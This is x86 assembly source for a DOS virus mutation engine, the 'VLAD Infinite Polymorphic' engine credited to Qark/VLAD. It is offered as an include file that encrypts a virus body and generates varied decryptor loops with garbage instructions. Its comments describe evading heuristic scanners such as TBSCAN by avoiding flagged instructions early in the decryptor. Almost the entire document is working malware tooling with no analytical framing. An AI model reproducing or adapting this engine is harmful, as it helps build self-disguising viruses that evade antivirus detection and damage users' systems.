; ; VLAD Infinite Polymorphic - VIP ; by Qark - VLAD ; ; This engine is good in some respects, and poor in others. ; The encryption it creates is fairly easy to crack, being a looping ; xor with a keychange (all registers/values chosen at random), ; but the encryption loops are very hard to detect. There are four ; different loop types, of which TBSCAN can only find two. ; ; At the start of the decryptor, the engine won't produce some instructions ; that flag heuristics. For this reason, VIP avoids alot of the heuristic ; problems most other garbage generators have. For example: ; Doesn't produce INC/DEC in the first 20 bytes to avoid flags. ; Doesn't produce memory operations in the first 10 bytes. ; Doesn't produce XCHG in the first 10 bytes. ; Always uses the short version of instructions (AX/AL Imm etc) ; ; One problem that couldn't be avoided is the creation of FFFF word pointers ; causing crashes. The likelihood of them occurring is low (about 1 in 300 ; samples) because danger instructions have been put to a minimum. ; (eg mov ax,[bx-1] bx=0, isn't produced anymore). ; ; If you're wondering why the polymorphism produced isn't changing, that's ; because it's an example of slow polymorphism. ; ; To assemble, use it as an include file for the program that calls it. ; VIP: ;On entry: ; AL = 1 if COM file ; DS:SI = Points to the unencrypted virus ; ES:DI = Place to store encrypted virus ; CX = length of virus ; BP = delta offset ; Assumes CS=DS=ES ;On return: ; CX = length of decryptor + encrypted code cld mov word ptr saved_cx,cx mov word ptr saved_di,di mov word ptr saved_si,si mov byte ptr segtype,al mov byte ptr inloop,0 ;Initialise variable ;Initialise our randomisation for slow polymorphism. call init_rand ;Clear the register table call unmark_all ;Clear the displacements call clear_displacement ;Select a random decryption type. rand_routine: call get_rand mov si,offset dec_type and ax,3*2 add si,ax mov ax,word ptr [si] jmp ax Standard: ;Uses 'standard' encryption. ; ----This is a basic layout of the decryptor---- ; mov pointer,offset virus_start ; mov cipher,xorval ; loop: ; xor word ptr pointer,cipher ; inc pointer ; inc pointer ; cmp pointer,virus_start+virlength ; jne loop ; virus_start: ; ----------------------------------------------- call startup ;Setup pointer and cipher mov byte ptr inloop,1 mov word ptr loopstart,di call encrypt_type or al,0f8h mov ah,al mov al,81h ;CMP pointer,xxxx stosw call round_up add ax,word ptr pointer1val stosw call handle_jne ;JNE xx call calc_jne mov byte ptr inloop,0 ;Calculate the displacement call fix_displacements call encrypt_virus call decryptor_size ret Stack1: ;Use the stack method for encryption. This method doesnt work on EXE's ;because SS <> CS. ; ----This is a basic layout of the decryptor---- ; mov sp,offset virus_start ; mov cipher,xor_val ; loop: ; pop reg ; xor reg,cipher ; push reg ; pop randomreg ; cmp sp,virus_start+virus_length ; jne loop ; ----------------------------------------------- cmp byte ptr segtype,0 jne stack1_ok jmp rand_routine stack1_ok: call rand_garbage call rand_garbage mov al,0bch ;MOV SP,xxxx stosb mov word ptr displace,di mov ax,bp stosw call setup_cipher mov byte ptr inloop,1 mov word ptr loopstart,di call select_reg call rand_garbage push ax or al,58h ;POP reg stosb call rand_garbage mov al,33h ;XOR reg,reg stosb pop ax push ax push cx mov cl,3 shl al,3 or al,byte ptr cipher or al,0c0h stosb pop cx call rand_garbage pop ax or al,50h ;PUSH reg stosb call rand_garbage next_pop: call get_rand call check_reg jc next_pop and al,7 or al,58h ;POP reg (=add sp,2) stosb call rand_garbage mov ax,0fc81h ;CMP SP,xxxx stosw mov word ptr displace2,di call round_up add ax,bp stosw call handle_jne call calc_jne mov byte ptr inloop,0 mov al,0bch ;mov sp,0fffeh stosb mov ax,0fffeh stosw call rand_garbage ;Calculate the displacement call fix_displacements mov si,word ptr saved_si mov cx,word ptr saved_cx inc cx shr cx,1 mov bx,word ptr xorval enc_stack1: lodsw xor ax,bx stosw loop enc_stack1 call decryptor_size ret Call_Enc: ;Uses recursive calls to decrypt the virus. Needs a big stack or else it will ;crash. ; ----This is a basic layout of the decryptor---- ; mov pointer,offset virus_start ; mov cipher,xorval ; loop: ; cmp pointer,virus_start+virus_length ; jne small_dec ; ret ; small_dec: ; xor word ptr pointer,cipher ; inc pointer ; inc pointer ; call loop ; add sp,virus_length-2 ; ----------------------------------------------- call startup mov byte ptr inloop,1 mov word ptr loopback,di call rand_garbage mov al,byte ptr pointer or al,0f8h mov ah,al mov al,81h ;CMP pointer,xxxx stosw call round_up add ax,word ptr pointer1val stosw call handle_jne mov word ptr loopf,di stosb call rand_garbage mov al,0c3h ;RET stosb call rand_garbage mov ax,di ;Fix the JNE. mov si,word ptr loopf inc si sub ax,si dec si mov byte ptr [si],al call encrypt_type mov al,0e8h ;CALL xxxx stosb mov ax,di inc ax inc ax sub ax,word ptr loopback neg ax stosw mov byte ptr inloop,0 call rand_garbage mov ax,0c481h stosw mov ax,word ptr saved_cx dec ax dec ax stosw call rand_garbage ;Calculate the displacement call fix_displacements call encrypt_virus call decryptor_size ret Call_Enc2: ;Decrypts the virus from within a call. ; ----This is a basic layout of the decryptor---- ; mov pointer,offset virus_start ; mov cipher,xorval ; call decrypt ; jmp short virus_start ; decrypt: ; xor pointer,cipher ; inc pointer ; inc pointer ; cmp pointer,virus_start+viruslength ; jne decrypt ; ret ; ----------------------------------------------- call startup mov byte ptr inloop,1 mov al,0e8h ;CALL xxxx stosb stosw mov word ptr loopf16,di call rand_garbage mov al,0e9h ;JMP xxxx stosb mov word ptr displace2,di ; mov ax,di ; inc ax ; inc ax ; sub ax,saved_di ; neg ax stosw call rand_garbage call rand_garbage mov ax,di mov si,word ptr loopf16 sub ax,si mov word ptr [si-2],ax mov word ptr loopstart,di call encrypt_type or al,0f8h mov ah,al mov al,81h ;CMP pointer,xxxx stosw call round_up add ax,word ptr pointer1val stosw call handle_jne call calc_jne mov al,0c3h ;ret stosb mov byte ptr inloop,0 call rand_garbage mov ax,di mov si,word ptr displace2 sub ax,si dec ax dec ax mov [si],ax mov word ptr displace2,0 call rand_garbage ;Calculate the displacement call fix_displacements call encrypt_virus call decryptor_size ret db 'VIP V1.0 by Qark/VLAD' ;All the different encryption types dec_type dw offset stack1 dw offset call_enc dw offset call_enc2 dw offset standard segtype db 0 ;1 if com file saved_cx dw 0 ;the initial CX saved_di dw 0 ;the initial DI saved_si dw 0 displace dw 0 displace2 dw 0 dw 0 displaceb dw 0 inloop db 0 ;=1 if inside a loop else 0 ;if set no 'word ptr' instructions made loopstart dw 0 ;for backwards 8 bit loopf dw 0 ;for forwards 8 bit loopback dw 0 ;backwards 16 bit loopf16 dw 0 ;forwards 16 bit xorval dw 0 cipher db 0 r_m db 0 ;The r-m of the pointer ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ;General routines, used universally ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Check_Reg: ;Returns a carry if the register in lower 3 bits of al is bad push ax push si and ax,7 mov si,offset reg add si,ax cmp byte ptr [si],0 pop si pop ax je ok_reg stc ret ok_reg: clc ret ; ax,cx,dx,bx,sp,bp,si,di reg db 00,00,00,00,01,00,00,00 Mark_Reg: ;Mark a register as used, AL=reg push ax push si and ax,7 mov si,offset reg add si,ax mov byte ptr [si],1 pop si pop ax ret UnMark_All: ;Clears the register table, and sets SP push ax push di push cx mov di,offset reg mov al,0 mov cx,8 cs: rep stosb mov byte ptr cs:[reg+4],1 ;set sp pop cx pop di pop ax ret Clear_Displacement: ;Clears all the displacement variables push di push ax mov di,offset displace xor ax,ax stosw stosw stosw stosw stosw pop ax pop di ret Select_Pointer: ;Select an r-m as a pointer, you must call this routine before reserving ;any registers. Updates the variable r_m. push ax push si call get_rand and ax,7 mov byte ptr r_m,al call index_2_pointer mov al,byte ptr [si] call mark_reg inc si mov al,byte ptr [si] cmp al,0 je no_pointer2 call mark_reg no_pointer2: pop si pop ax ret Setup_Pointer: ;Sets up the registers specified in the r-m with random values. These ;values are put into the variable 'pointval'. ;Moves the instructions into ES:DI. push ax push si call rand_garbage call index_2_pointer mov al,byte ptr [si] mov byte ptr pointer,al or al,0b8h ;MOV REG,xxxx stosb call get_rand stosw mov word ptr pointval,ax mov word ptr pointer1val,ax call rand_garbage mov al,byte ptr [si+1] cmp al,0 je no_setupp2 or al,0b8h ;MOV REG,xxxx stosb call get_rand stosw add word ptr pointval,ax call rand_garbage no_setupp2: pop si pop ax ret Index_2_Pointer: ;Sets SI to the 'pointers' table of the r_m push ax xor ax,ax mov al,byte ptr r_m shl ax,1 mov si,offset pointers add si,ax pop ax ret pointer db 0 ;the first register pointer1val dw 0 ;the value of the first register pointval dw 0 Pointers db 3,6 ;[bx+si] db 3,7 ;[bx+di] db 5,6 ;[bp+si] db 5,7 ;[bp+di] db 6,0 ;[si] db 7,0 ;[di] db 5,0 ;[bp] db 3,0 ;[bx] Select_Reg: ;Reserves a random register, and passes it out in AL ;AH is destroyed call get_rand call check_reg jc select_reg and al,7 call mark_reg ret Setup_Reg: ;Puts the value specified in BX, into the register specified in AL. ;-Needs Fixing- to add a possible SUB, and also the garbage generation needs ;to produce the same add/sub opcodes. push ax push bx call rand_garbage and al,7 push ax or al,0b8h ;MOV reg,xxxx stosb call get_rand sub bx,ax stosw call rand_garbage pop ax cmp al,0 jne long_addreg mov al,5 ;ADD AX,xxxx stosb jmp short finish_add long_addreg: or al,0c0h mov ah,al mov al,81h stosw ;ADD reg,xxxx finish_add: mov ax,bx stosw call rand_garbage pop bx pop ax ret Seg_Override: ;Puts the correct segment before a memory write. The memory write must be ;called immediately afterwards. push ax cmp byte ptr segtype,1 je no_segset mov al,2eh ;CS: stosb no_segset: pop ax ret Fix_Pointer: ;Fixes up the mod/rm field of a pointer instruction. Before this routine ;is called, the opcode field has already been stosb'd. eg for xor, 31h has ;been put into the current es:[di-1]. ;on entry AL=register ;The displacement field (the following 2 bytes) must be fixed up manually. push ax push bx push cx mov cl,3 shl al,cl or al,byte ptr r_m or al,80h stosb pop cx pop bx pop ax ret Dec_Inc_Reg: ;Inc/Dec's the reg in AL. AH= 0=inc 1=dec ;No garbage generators are called in this routine, because the flags ;may be important. push ax mov byte ptr dec_inc,ah call get_rand test al,1 pop ax push ax jnz do_inc_dec cmp al,0 ;check for ax jne not_ax_incdec mov ax,0ff05h ;ADD AX,ffff = DEC AX cmp byte ptr dec_inc,0 jne fdec1 mov al,2dh ;SUB fdec1: stosw mov al,0ffh stosb pop ax ret not_ax_incdec: cmp byte ptr dec_inc,0 je fdec2 or al,0c0h jmp short fdec3 fdec2: or al,0e8h fdec3: mov ah,al mov al,83h ;ADD reg,ffff = DEC reg stosw mov al,0ffh stosb pop ax ret do_inc_dec: or al,40h ;INC reg cmp byte ptr dec_inc,0 je fdec4 or al,8 fdec4: stosb pop ax ret dec_inc db 0 ;0=inc 1=dec Round_Up: ;Rounds up the number in saved_cx to the nearest 2 and passes it out in AX. mov ax,word ptr saved_cx inc ax shr ax,1 shl ax,1 mov word ptr saved_cx,ax ret Fix_Displacements: ;Adds the size of the produced decyptors to the data listed in the ;displacement variables. 0 Values signal the end. ;DI=The final length of the 'decryptor' push ax push si mov ax,di sub ax,word ptr saved_di push di mov si,offset displace disp_loop: cmp word ptr [si],0 je last_displacement mov di,[si] add [di],ax inc si inc si jmp short disp_loop last_displacement: pop di pop si pop ax ret Rand_Garbage: ;Generates 1-4 garbage instructions. push ax call get_rand and ax,07h push cx mov cx,ax inc cx start_garbage: call select_garbage loop start_garbage pop cx pop ax ret Select_Garbage: ;Selects a garbage routine to goto call get_rand and ax,14 push si mov si,offset calls add si,ax mov ax,word ptr [si] pop si jmp ax calls dw offset Make_Inc_Dec dw offset Imm2Reg dw offset Rand_Instr dw offset Mov_Imm dw offset Make_Xchg dw offset Rand_Instr dw offset Mov_Imm dw offset Imm2Reg Make_Inc_Dec: ;Puts a word INC/DEC in ES:DI ;eg INC AX ; DEC BP mov ax,di sub ax,word ptr saved_di cmp ax,15 ja not_poly_start ;inc/dec in the first 20 bytes, flags ret not_poly_start: call get_rand call check_reg jc make_inc_dec and al,0fh or al,40h test al,8 jnz calc_dec stosb ret calc_dec: mov ah,al and al,7 cmp al,2 ja Make_Inc_Dec mov al,ah stosb ret Fix_Register: ;AX=random byte, where the expected outcome is ah=opcode al=mod/rm ;Carry is set if bad register. Word_Byte is updated to show word/byte. test ah,1 jnz word_garbage mov byte ptr word_byte,0 call check_breg jmp short byte_garbage word_garbage: mov byte ptr word_byte,1 call check_reg byte_garbage: ret word_byte db 0 ;1=word, 0 = byte Imm2Reg: ;Immediate to register. call get_rand call fix_register jc imm2reg test al,7 ;AX/AL arent allowed (causes heuristics) jz imm2ax xchg al,ah and al,3 cmp al,2 ;signed byte is bad je imm2reg or al,80h or ah,0c0h stosw test al,2 ;signed word jnz ione_stosb call get_rand cmp byte ptr word_byte,1 jne ione_stosb stosb ione_stosb: call get_rand stosb ret imm2ax: xchg ah,al and al,3dh or al,4 stosw test al,1 jnz ione_stosb ret Rand_Instr: ;Creates a whole stack of instructions. ;and,or,xor,add,sub,adc,cmp,sbb mov ax,di sub ax,word ptr saved_di cmp ax,10 ja not_poly_start2 ;in the first 20 bytes, flags G ret not_poly_start2: call get_rand ;Inloop stops xxx xx,word ptr [xxxx] instructions inside the ;loops. It changes them to 'byte ptr' which stops the ffff crash ;problem. cmp byte ptr inloop,1 jne ok_words and ah,0feh ok_words: call fix_register jc rand_instr push cx mov cl,3 rol al,cl pop cx xchg ah,al and al,039h or al,2 ;set direction flag stosb mov al,ah and al,0c0h cmp al,0c0h je zerobytedisp cmp al,0 je checkdisp cmp al,80h je twobytedisp ;sign extended mov al,ah stosb negative_value: call get_rand cmp al,0ffh je negative_value stosb ret twobytedisp: mov al,ah stosb call get_rand stosw ret checkdisp: push ax and ah,7 cmp ah,6 pop ax je twobytedisp zerobytedisp: mov al,ah stosb ret Mov_Imm: ;Puts a MOV immediate instruction. call get_rand test al,8 jnz word_mov call check_breg jmp short mov_check word_mov: call check_reg mov_check: jc mov_imm and al,0fh or al,0b0h stosb test al,8 jnz mov_word call get_rand stosb ret mov_word: call get_rand stosw ret Init_Rand: ;Initialises the Get_Rand procedure. push ax push cx push dx push si push ds mov si,1 mov ax,0ffffh ;Get word from ROM BIOS. mov ds,ax mov ax,word ptr [si] pop ds mov word ptr randseed,ax call get_rand push ax mov ah,2ah ;Get Date. int 21h ;call int21h pop ax add ax,cx xor ax,dx mov word ptr randseed,ax call get_rand pop si pop dx pop cx pop ax ret Get_Rand: ;Gets a random number in AX. push cx push dx mov ax,word ptr randseed mov cx,ax mov dx,ax and cx,1ffh or cl,01fh propogate: add dx,ax mul dx add ax,4321h neg ax ror dx,1 loop propogate mov word ptr randseed,ax pop dx pop cx ret randseed dw 0 Make_Xchg: mov ax,di sub ax,word ptr saved_di cmp ax,10 ja not_poly_start3 ;inc/dec in the first 20 bytes, flags ret not_poly_start3: call get_rand call fix_register jc make_xchg push cx mov cl,3 rol al,cl pop cx call fix_register jc make_xchg test ah,1 jz xchg_8bit test al,7 jz xchg_ax2 test al,38h jz xchg_ax1 xchg_8bit: and ax,13fh or ax,86c0h xchg ah,al stosw ret xchg_ax1: and al,7 or al,90h stosb ret xchg_ax2: push cx mov cl,3 ror al,cl pop cx jmp short xchg_ax1 Check_bReg: ;Checks if an 8bit reg is used or not. ;AL=register push ax and al,3 call check_reg pop ax ret Decryptor_Size: ;Calculate the size of the decryptor + code ;Entry: DI=everything done ;Exit : CX=total decryptor length mov cx,di sub cx,word ptr saved_di ret Setup_Cipher: ;Randomly selects a cipher register and initialises it with a value. ;Puts the register into the variable 'cipher' and the value into 'xorval' call rand_garbage call get_rand mov bx,ax mov word ptr xorval,ax call select_reg mov byte ptr cipher,al call setup_reg call rand_garbage ret Startup: ;Does the most common startup procedures. Puts some garbage, and sets ;up the pointer register. call rand_garbage call rand_garbage call select_pointer ;Setup pointer call setup_pointer call setup_cipher ret Handle_JNE: ;Randomly puts either JNE or JB at ES:DI. ;Must be called after the CMP instruction. push ax push si ;Test to make sure our pointer isnt going +ffff, if so, only use ;jne, not jnb. call round_up add ax,word ptr pointer1val jnc random_jne mov al,75h jmp short unrandom_jne random_jne: call get_rand and ax,1 mov si,offset jne_table add si,ax mov al,byte ptr [si] unrandom_jne: stosb pop si pop ax ret jne_table db 75h ;JNE/JNZ db 72h ;JB/JNAE Calc_JNE: ;Calculates the distance needed to JMP backwards and puts it into ES:DI. ;On entry DI points to the byte after a JNE/JB instruction ; and 'loopstart' contains the offset of the loop. push ax mov ax,di inc ax sub ax,word ptr loopstart neg al stosb call rand_garbage pop ax ret Increase_Pointer: ;Increases the register specified in 'pointer' by two. ;On exit AL=pointer register. call rand_garbage xor ax,ax mov al,byte ptr pointer call dec_inc_reg call rand_garbage call dec_inc_reg call rand_garbage ret Encrypt_Type: ;Selects the type of encryption and sets everything up. call rand_garbage call seg_override call rand3 mov al,byte ptr [si+1] mov byte ptr encbyte,al mov al,byte ptr [si] ;The instruction from 'enc_table' stosb mov al,byte ptr cipher call fix_pointer mov word ptr displace,di mov ax,bp sub ax,word ptr pointval stosw call rand_garbage call rand3 mov al,byte ptr [si+2] or al,0c3h mov byte ptr encb2,al cmp byte ptr cipher,0 jne fix_16imm mov al,byte ptr [si+2] or al,5 stosb jmp short set_imm fix_16imm: mov al,81h stosb mov al,byte ptr [si+2] or al,0c0h or al,byte ptr cipher stosb set_imm: call get_rand stosw mov word ptr encval2,ax call increase_pointer ret enc_table db 31h ;XOR ;Direct word operation db 33h ;XOR reg,reg ;Undo.. db 30h db 01h ;ADD db 2bh ;SUB reg,reg db 0 ;ADD db 29h ;SUB db 03h ;ADD reg,reg db 28h Rand3: ;Gets a number in ax, either 0,4,8, and indexes SI that distance into ;enc_table. encrypt_rand: call get_rand mov cx,3 xor dx,dx div cx mov ax,dx xor dx,dx mul cx mov si,offset enc_table add si,ax ret Encrypt_Virus: mov si,word ptr saved_si mov cx,word ptr saved_cx inc cx shr cx,1 mov bx,word ptr xorval enc_loop: lodsw ;op ax,bx encbyte db 0 ;op db 0c3h db 81h encb2 db 0 encval2 dw 0 stosw loop enc_loop ret